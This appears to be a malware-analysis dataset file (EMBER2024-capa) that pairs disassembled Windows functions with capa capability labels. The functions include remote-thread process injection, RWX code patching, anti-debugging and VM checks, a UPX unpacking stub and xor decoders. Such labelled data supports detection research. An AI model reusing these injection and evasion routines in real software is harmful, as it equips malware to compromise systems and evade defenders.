joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002160
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1000e380]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x1000219d
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], 0
jne 0x10002188
mov dword [ebp - 0x18], 1
jmp 0x1000218f
mov dword [ebp - 0x18], 0
mov cl, byte [ebp - 0x18]
mov byte [ebp - 9], cl
movzx edx, byte [ebp - 9]
test edx, edx
je 0x100021a5
or eax, 0xffffffff
jmp 0x10002275
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x1c], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x100021df
or eax, 0xffffffff
jmp 0x10002275
push 0
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.10003ef0
push eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1000220a
or eax, 0xffffffff
jmp 0x10002275
mov dword [ebp - 8], 0
push 0x1000bd70
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10002255
or eax, 0xffffffff
jmp 0x10002275
cmp dword [ebp + 8], 0
je 0x10002272
cmp dword [ebp - 0x10], 0
je 0x10002272
cmp dword [ebp - 0x20], 6
je 0x10002272
cmp dword [ebp - 0x14], 0
je 0x10002272
mov eax, dword [ebp - 0x14]
jmp 0x10002275
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008610
mov esp, ebp
pop ebp
ret
Function at 0x10002970
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
je 0x10002982
jmp 0x1000299f
push 0
push 0
push 0
push 0x100026a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10004160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x1000e380]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x38], 0
je 0x10004187
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x1000418e
mov al, 1
jmp 0x10004294
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x48], 0xffffffff
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov ecx, dword [ebp - 0x30]
call dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x54], 0xffffffff
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x5c]
jne 0x100041d1
mov dword [ebp - 0x40], 1
jmp 0x100041d8
mov dword [ebp - 0x40], 0
mov cl, byte [ebp - 0x40]
mov byte [ebp - 0x31], cl
movzx edx, byte [ebp - 0x31]
test edx, edx
je 0x100041ed
xor al, al
jmp 0x10004294
mov dword [ebp - 0x64], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 0x60], ecx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x30]
add edx, 0x40
push edx
mov ecx, dword [ebp - 0x60]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x10004230
cmp dword [ebp - 0x38], 1
je 0x10004237
cmp dword [ebp - 0x38], 3
je 0x10004287
jmp 0x10004292
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x3d], 0
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0x3c], ecx
je 0x10004267
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
push 1
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x3c], eax
je 0x10004267
xor al, al
jmp 0x10004294
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x1000427b
mov dword [ebp - 0x44], 1
jmp 0x10004282
mov dword [ebp - 0x44], 0
mov al, byte [ebp - 0x44]
jmp 0x10004294
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x3d], 0
mov al, 1
jmp 0x10004294
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008610
mov esp, ebp
pop ebp
ret
Function at 0x10006580
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
lea edi, [ebp - 0x30]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x1000e380]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x100066fc
mov dword [ebp - 0x28], 0x1c
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x100066e9
cmp dword [ebp - 0x28], 0x10
jb 0x100066cd
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, esp
call fcn.10008a3b
cmp dword [ebp - 0x1c], eax
jne 0x100066cd
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, esp
call fcn.10008a3b
cmp dword [ebp - 0x20], eax
je 0x100066cd
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x10006654
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0x80
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
shl edx, 2
mov esi, esp
push edx
push 0
mov eax, dword [0x1000e5f4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp esi, esp
call fcn.10008a3b
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x10006652
jmp 0x100066e9
jmp 0x100066ad
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 8]
cmp edx, dword [ecx + 4]
jb 0x100066ad
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 1
shl ecx, 2
mov esi, esp
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [0x1000e5f4]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
cmp esi, esp
call fcn.10008a3b
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x10006697
jmp 0x100066e9
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
shl eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x30]
mov dword [edx], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x20]
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
add edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + 8], edx
mov dword [ebp - 0x28], 0x1c
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100065d3
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.10008a3b
push edx
mov ecx, ebp
push eax
lea edx, [0x10006728]
call fcn.100089e7
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008610
add esp, 0x30
cmp ebp, esp
call fcn.10008a3b
mov esp, ebp
pop ebp
ret
Function at 0x10006740
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
mov eax, dword [ebp + 8]
push eax
call fcn.10006580
add esp, 4
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x1000680b
mov dword [ebp - 4], 0
jmp 0x1000679c
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 8]
jae 0x1000680b
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov esi, esp
mov ecx, dword [ebp - 4]
mov edx, dword [eax + ecx*4]
push edx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp esi, esp
call fcn.10008a3b
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10006809
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp esi, esp
call fcn.10008a3b
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.100063a0
add esp, 0xc
mov esi, esp
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.10008a3b
jmp 0x10006793
pop esi
add esp, 8
cmp ebp, esp
call fcn.10008a3b
mov esp, ebp
pop ebp
ret

Function at 0x10006820
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x100068cb
mov dword [ebp - 4], 0
jmp 0x10006853
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 8]
jae 0x100068ae
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov esi, esp
mov eax, dword [ebp - 4]
mov ecx, dword [edx + eax*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp esi, esp
call fcn.10008a3b
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100068ac
mov esi, esp
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp esi, esp
call fcn.10008a3b
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.10008a3b
jmp 0x1000684a
mov esi, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x1000e5f4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp esi, esp
call fcn.10008a3b
pop esi
add esp, 8
cmp ebp, esp
call fcn.10008a3b
mov esp, ebp
pop ebp
ret
Function at 0x100068e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov eax, 0xcccccccc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8], 0x2c
add eax, dword [0x1000e9a0]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 5
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x10006943
mov eax, dword [ebp - 0x18]
sub eax, 5
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, 2
mov dword [ebp - 0x14], ecx
mov esi, esp
lea edx, [ebp - 0xc]
push edx
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.10008a3b
test eax, eax
jne 0x1000696e
mov eax, 0xa
jmp 0x10006a70
cmp dword [ebp + 0xc], 0
je 0x100069ba
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov byte [eax], 0xe9
mov ecx, dword [ebp - 0x18]
add ecx, 5
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 1], eax
mov edx, dword [ebp - 4]
mov al, byte [edx + 0x14]
and al, 1
movzx ecx, al
test ecx, ecx
je 0x100069b8
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov byte [ecx], 0xeb
mov edx, dword [ebp - 0x20]
mov byte [edx + 1], 0xf9
jmp 0x100069f6
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x100069e1
push 7
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x100069f6
push 5
mov edx, dword [ebp - 4]
add edx, 0xc
push edx
mov eax, dword [ebp - 0x18]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, esp
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.10008a3b
mov esi, esp
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.10008a3b
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp esi, esp
call fcn.10008a3b
mov cl, byte [ebp + 0xc]
and cl, 1
shl cl, 1
mov edx, dword [ebp - 4]
mov al, byte [edx + 0x14]
and al, 0xfd
or al, cl
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x14], al
mov dl, byte [ebp + 0xc]
and dl, 1
shl dl, 2
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 0xfb
or cl, dl
mov edx, dword [ebp - 4]
mov byte [edx + 0x14], cl
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x10006a94]
call fcn.100089e7
pop eax
pop edx
pop edi
pop esi
add esp, 0x20
cmp ebp, esp
call fcn.10008a3b
mov esp, ebp
pop ebp
ret
Function at 0x10007160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov eax, dword [0x1000e998]
mov dword [ebp - 4], eax
jmp 0x10007187
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x100071a0
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x1000719e
mov eax, dword [ebp - 4]
jmp 0x10007224
jmp 0x1000717f
mov esi, esp
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, esp
call fcn.10008a3b
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10007221
mov ecx, dword [ebp - 4]
add ecx, 0x20
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [edx + 4], 0
mov eax, dword [ebp - 4]
mov dword [eax + 8], 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
mov dword [ecx], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 4]
cmp ecx, 0xfe0
jbe 0x100071e3
mov edx, dword [ebp - 4]
mov eax, dword [0x1000e998]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x1000e998], ecx
mov eax, dword [ebp - 4]
pop esi
add esp, 8
cmp ebp, esp
call fcn.10008a3b
mov esp, ebp
pop ebp
ret

Function at 0x10007710
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0xcccccccc
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
je 0x10007760
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + edx]
cmp ecx, 0x90
je 0x10007760
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + eax]
cmp edx, 0xcc
je 0x10007760
xor eax, eax
jmp 0x100077a1
mov dword [ebp - 4], 1
jmp 0x10007772
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000779c
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
mov ecx, 1
imul edx, ecx, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
cmp eax, edx
je 0x1000779a
xor eax, eax
jmp 0x100077a1
jmp 0x10007769
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000d403
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000d442
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000d442
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000d442
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000d442
cmp dword [ecx + 0x74], 0xe
jbe 0x1000d442
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100100bf
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001015c
push ebx
push esi
call fcn.10010088
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001001c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10010109
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001015b
push edi
push eax
call fcn.1001107a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10010129
call fcn.1000eb64
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001015a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001001c
add esp, 0x20
test eax, eax
jne 0x10010148
push edi
call fcn.1000eb64
jmp 0x10010150
push ebx
call fcn.1000eb64
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100103c9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017888
push 0x10017880
push str.FlsAlloc
push 0x1f
call fcn.100102e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100103fd
push dword [ebp + 8]
mov ecx, esi
call dword [0x10016150]
call esi
jmp 0x10010403
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10010447
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017898
push 0x10017890
push str.FlsGetValue
push 0x21
call fcn.100102e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001047e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10016150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10010486
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100178a0
push 0x10017898
push str.FlsSetValue
push 0x22
call fcn.100102e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100104c0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10016150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10015b40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10015b6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10015b6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x56c13e
Capabilities:
Check for trap flag exception

Disassembly:
push ebx
jmp 0x5528e6
pushfd
or dword [esp], 0x100
popfd
cpuid
nop
jmp 0x5528fd
pop ebx
ret
pushfd
push bx
lea esp, [esp + 2]
lea esp, [esp + 4]
jmp 0x5528da

Function at 0x56c269
Capabilities:
Check for vm using instruction vpcext

Disassembly:
jmp 0x55293e
mov eax, 1
invalid
call fcn.0056c23d
lea esp, [esp + 2]
lea esp, [esp + 0xc]
jmp 0x552933

Function at 0x63563f
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x1a
jmp 0x63565d
pushal
sub esp, 0xc
lea esp, [esp + 0x4a]
pushal
sub esp, 0xc
xchg byte [esp + 1], bh
jmp 0x6356cf
mov dx, word [esp + 8]
lea ebx, [eax + 0x3c]
rol ah, 0
xchg ebp, eax
not bp
mov word [esp + 8], cx
jmp 0x6356ac
Function at 0x635b95
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov eax, 0x1bf91187
push word [esp + 0x12]
xchg byte [esp + 8], ah
jmp 0x635b43
mov byte [esp + 0x24], dh
lea esp, [esp + 0x1e]
rdtsc
mov bp, 0x6bbe
mov ecx, 0xb45e15e2
push sp
jmp 0x635b16
bsf cx, bx
pop di
xchg byte [esp + 6], dl
mov dword [esp], ebp
push word [esp + 5]
mov word [esp + 0xa], bx
jmp 0x635b75
sub esp, 0x1c
cpuid
lea ebx, [eax + 0x1d]
mov byte [esp + 6], dl
pushfd
mov ch, ah
jmp 0x635b2c
btc ecx, ebx
add esp, 5
rdtsc
pop dword [esp + 2]
mov byte [esp + 0xd], bl
mov dword [esp + 8], ebp
jmp 0x635c49
jmp 0x635b64
enter 0xffffffffffffc483, 1
add esp, 1
not ebx
shl dx, 7
call fcn.00635b97
ja 0x635bac
jg 0x635bd9
jmp 0x9663de34
mov ah, byte [esp + 0xa]
btr bx, dx
rdtsc
rdtsc
lea esp, [esp + 7]
pop ebx
jmp 0x635bad
setae cl
mov ecx, edi
xchg word [esp + 5], dx
sub esp, 0x1c
btc bx, di
cpuid
jmp 0x635bcf
Function at 0xcaeab0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x32a000]
push edi
or ebp, 0xffffffff
jmp 0xcaead2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xcaead9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xcaeac8
mov eax, 1
add ebx, ebx
jne 0xcaeaeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xcaeae0
jne 0xcaeafc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xcaeae0
xor ecx, ecx
sub eax, 3
jb 0xcaeb10
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xcaeb82
mov ebp, eax
add ebx, ebx
jne 0xcaeb1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0xcaeb28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0xcaeb4c
inc ecx
add ebx, ebx
jne 0xcaeb38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xcaeb2d
jne 0xcaeb49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xcaeb2d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xcaeb6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xcaeb5d
jmp 0xcaeace
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xcaeb6c
add edi, ecx
jmp 0xcaeace
pop esi
mov edi, esi
mov ecx, 0x70f4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xcaeb8a
cmp byte [edi], 0x28
jne 0xcaeb8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xcaeb8f
lea edi, [esi + 0x8aa000]
mov eax, dword [edi]
or eax, eax
je 0xcaec07
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8b0358]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8b0498]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xcaebbc
mov ecx, edi
jns 0xcaebeb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8b049c]
or eax, eax
je 0xcaec01
mov dword [ebx], eax
add ebx, 4
jmp 0xcaebd9
call dword [esi + 0x8b04ac]
mov ebp, dword [esi + 0x8b04a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xcaec3b
sub esp, 0xffffff80
jmp 0x4ea001

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x43b643
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43b3c1
dec eax
sub eax, 0x817c70fb
call fcn.0043b690
add eax, 1
add ebx, 0xd121fb2b
xor dword [esi], edi
add ebx, eax
add ebx, 0x223846d1
sub ebx, 1
inc esi
and ebx, ebx
cmp esi, edx
jne fcn.0043b643
add ebx, 1
add ebx, ebx
ret